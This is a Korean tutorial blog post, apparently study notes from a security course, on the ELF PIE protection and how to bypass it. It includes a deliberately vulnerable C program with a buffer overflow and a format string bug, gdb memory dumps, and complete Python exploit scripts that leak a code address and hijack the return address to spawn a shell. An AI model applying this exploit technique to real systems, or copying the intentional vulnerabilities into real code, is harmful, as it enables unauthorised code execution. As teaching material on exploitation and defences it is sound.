PIE
ELF의 Position Independent Executable 보호기법과 우회 방법
PIE : Executable, 즉 바이너리가 로딩될 때 랜덤한 주소에 매핑되는 보호기법
원리는 공유 라이브러리와 비슷하다. 컴파일러는 바이너리가 메모리 어디에 매핑되어도 실행에 지장이 없도록 바이너리를 위치 독립적으로 컴파일한다. → 코드 영역의 주소 랜덤화 가능
PIE가 설정되어 있으면 코드 영역의 주소가 실행될 때마다 변하기 때문에 ROP와 같은 코드 재사용 공격을 막을 수 있다.
no_pie.c
//gcc -o no_pie no_pie.c -m32
#include <stdio.h>
int main(void){
printf("MAIN addr : 0x%p\n", &main);
}
pie.c
//gcc -o pie pie.c -m32 -fPIC -pie
#include <stdio.h>
int main(void){
printf("MAIN addr : 0x%p\n", &main);
}
Bypassing PIE
PIE 보호기법을 우회하기 위해서는 코드 영역의 주소를 알아내야 한다.
PIE 보호기법이 설정되어 있을 때 코드 영역은 공유 라이브러리처럼 메모리에 로딩되기 때문에 libc.so.6 라이브러리 주소를 구하는 과정과 같이 특정 코드 영역의 주소를 알아낸다면 코드 영역 베이스 주소를 구할 수 있다. 구한 주소로 오프셋 계산을 통해 코드나 데이터 영역의 주소를 구할 수 있다.
example8.c
// gcc -o example8 example8.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fPIC -pie
#include <stdio.h>
void give_shell(void){
system("/bin/sh");
}
void vuln(void){
char buf[32] = {};
printf("Input1 > ");
read(0, buf, 512); // Buffer Overflow
printf(buf); // Format String Bug
printf("Input2 > ");
read(0, buf, 512); // Buffer Overflow
}
int main(void){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
}
example8.c에는 두 종류의 취약점이 존재함.
1. 스택 버퍼 오버플로우
2. 포맷 스트링 버그
gdb로 vuln함수를 디스어셈블
$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
0x000006f5 <+0>: push ebp
0x000006f6 <+1>: mov ebp,esp
0x000006f8 <+3>: push ebx
0x000006f9 <+4>: sub esp,0x20
주소가 오프셋 형태로 출력됨을 확인.
바이너리에는 쉘을 실행시켜주는 give_shell 함수가 있다. 포맷 스트링 버그를 이용해 give_shell 함수의 주소를 구한 후, 스택 버퍼 오버플로우 취약점으로 리턴 주소를 give_shell 함수의 주소로 덮어 쉘을 실행해보자.
printf(buf)를 실행하는 시점에 브레이크포인트를 설정해 스택 메모리 살펴보기
printf가 호출되는 시점의 스택 메모리
$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x780
Starting program: ~/example8
Temporary breakpoint 1, 0x56555780 in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
...
0x00000745 <+80>: add esp,0xc
0x00000748 <+83>: lea eax,[ebp-0x24]
0x0000074b <+86>: push eax
0x0000074c <+87>: call 0x510 <printf@plt>
...
End of assembler dump.
(gdb) b *0x5655574c
Breakpoint 2 at 0x5655574c
(gdb) c
Continuing.
Input1 > aaaabbbbcccc
Breakpoint 2, 0x5655574c in vuln ()
(gdb) x/40wx $esp
0xffffd524: 0xffffd528 0x61616161 0x62626262 0x63636363
0xffffd534: 0x0000000a 0x00000000 0x00000000 0x00000000
0xffffd544: 0x00000000 0x56557000 0xffffd558 0x565557be
0xffffd554: 0x00000000 0x00000000 0xf7e19637 0x00000001
0xffffd564: 0xffffd5f4 0xffffd5fc 0x00000000 0x00000000
0xffffd574: 0x00000000 0xf7fb3000 0xf7ffdc04 0xf7ffd000
0xffffd584: 0x00000000 0xf7fb3000 0xf7fb3000 0x00000000
0xffffd594: 0xb988c975 0x8509e765 0x00000000 0x00000000
0xffffd5a4: 0x00000000 0x00000001 0x56555560 0x00000000
0xffffd5b4: 0xf7fee010 0xf7fe8880 0x56557000 0x00000001
(gdb) x/s 0xffffd528
0xffffd528: "aaaabbbbcccc\n"
(gdb)
x/40wx $esp로 출력된 메모리는 printf(buf)를 실행하는 시점의 스택 메모리다. 스택 메모리를 보면 0xffffd550에 바이너리 코드 영역의 주소인 0x565557be이 저장되어 있는 것을 볼 수 있다. 0x565557be는 vuln함수의 리턴주소다. (main+66의 주소) 포맷 스트링 버그를 이용해 0xffffd550에 있는 값을 출력시켜보자. 0x61616161이 저장되어 있는 0xffffd528이 첫 번째 포맷 스트링에 대한 인자 위치이므로 11번째 포맷에서 스택에 저장된 0x565557be를 출력시킬 수 있다.
Input1 > %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
255f7825_78255f78_5f78255f_255f7825_78255f78_5f78255f_255f7825_78255f78_5655700a_ffffd558_565557be
11번째 "%x"에 대한 결과로 565557be가 출력되어 바이너리의 코드 주소를 알아냈다. 이 주소를 이용해 give_shell의 주소를 계산한다.
(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x565556d0 <give_shell>
(gdb) p/x 0x565557be - 0x565556d0
$2 = 0xee
(gdb)
give_shell 함수의 주소는 0x565557be - 0xee 인것을 확인했다.
exmaple8_leak.py
#!/usr/bin/python
'''
example8_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10)
writeline(s, "%x_"*11)
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16) # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
give_shell 함수의 주소를 구하는 파이썬 스크립트
$ python example8_leak.py
Input1 >
vuln_ret_addr @ 0x565b67be
give_shell @ 0x565b66d0
실행하면 give_shell 함수의 주소가 출력됨
example8.c의 스택 오버플로우 취약점을 이용해 vuln함수의 리턴 주소를 give_shell 주소로 덮어 쉘을 실행해보자.
buf로부터 리턴 주소까지의 오프셋은 40바이트이므로 최종 공격 페이로드는 다음과 같다.
"A"*40+ give_shell
example8.py
#!/usr/bin/python
'''
example8.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10)
write(s, "%x_"*11+"\n\x00")
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16) # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
read(out_r, 1024)
payload = "A"*40
payload += p32(give_shell)
write(s, payload)
print "[+] get shell"
while True:
cmd = raw_input("$ ")
writeline(s, cmd)
res = read(out_r, 102400)
sys.stdout.write(res+'\n')
example8에 대한 익스플로잇 코드
실행하면 쉘이 획득된다.
$ python example8.py
Input1 >
vuln_ret_addr @ 0x565eb7be
give_shell @ 0x565eb6d0
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$
PIE가 설정되어 있는지 확인하는 방법
PIE 보호기법이 적용되어 있는 ELF 바이너리는 실행될 때 메모리의 동적 주소에 로딩된다.
이러한 성질로 readelf를 이용해 바이너리의 type header를 검사하는 것으로 바이너리의 PIE 적용 여부를 체크 가능함.
$ readelf -h ./no_pie | grep Type
Type: EXEC (Executable file)
$ readelf -h ./pie | grep Type
Type: DYN (Shared object file)
type header의 경우 일반적인 실행 파일은 EXEC, 라이브러리와 같은 shared 파일은 DYN값을 갖는다.
PIE가 적용되어 있지 않은 바이너리의 타입은 EXEC이고 적용되어 있는 바이너리의 타입은 DYN이다.
'시스템 해킹 > dream hack' 카테고리의 다른 글
[dream hack] RELRO (0) | 2021.02.28 |
---|---|
[dream hack] SSP (0) | 2021.02.28 |
[dream hack] PLT, GOT Section (0) | 2021.02.27 |
[dream hack] ASLR (0) | 2021.02.26 |
[dream hack] NX bit (0) | 2021.02.20 |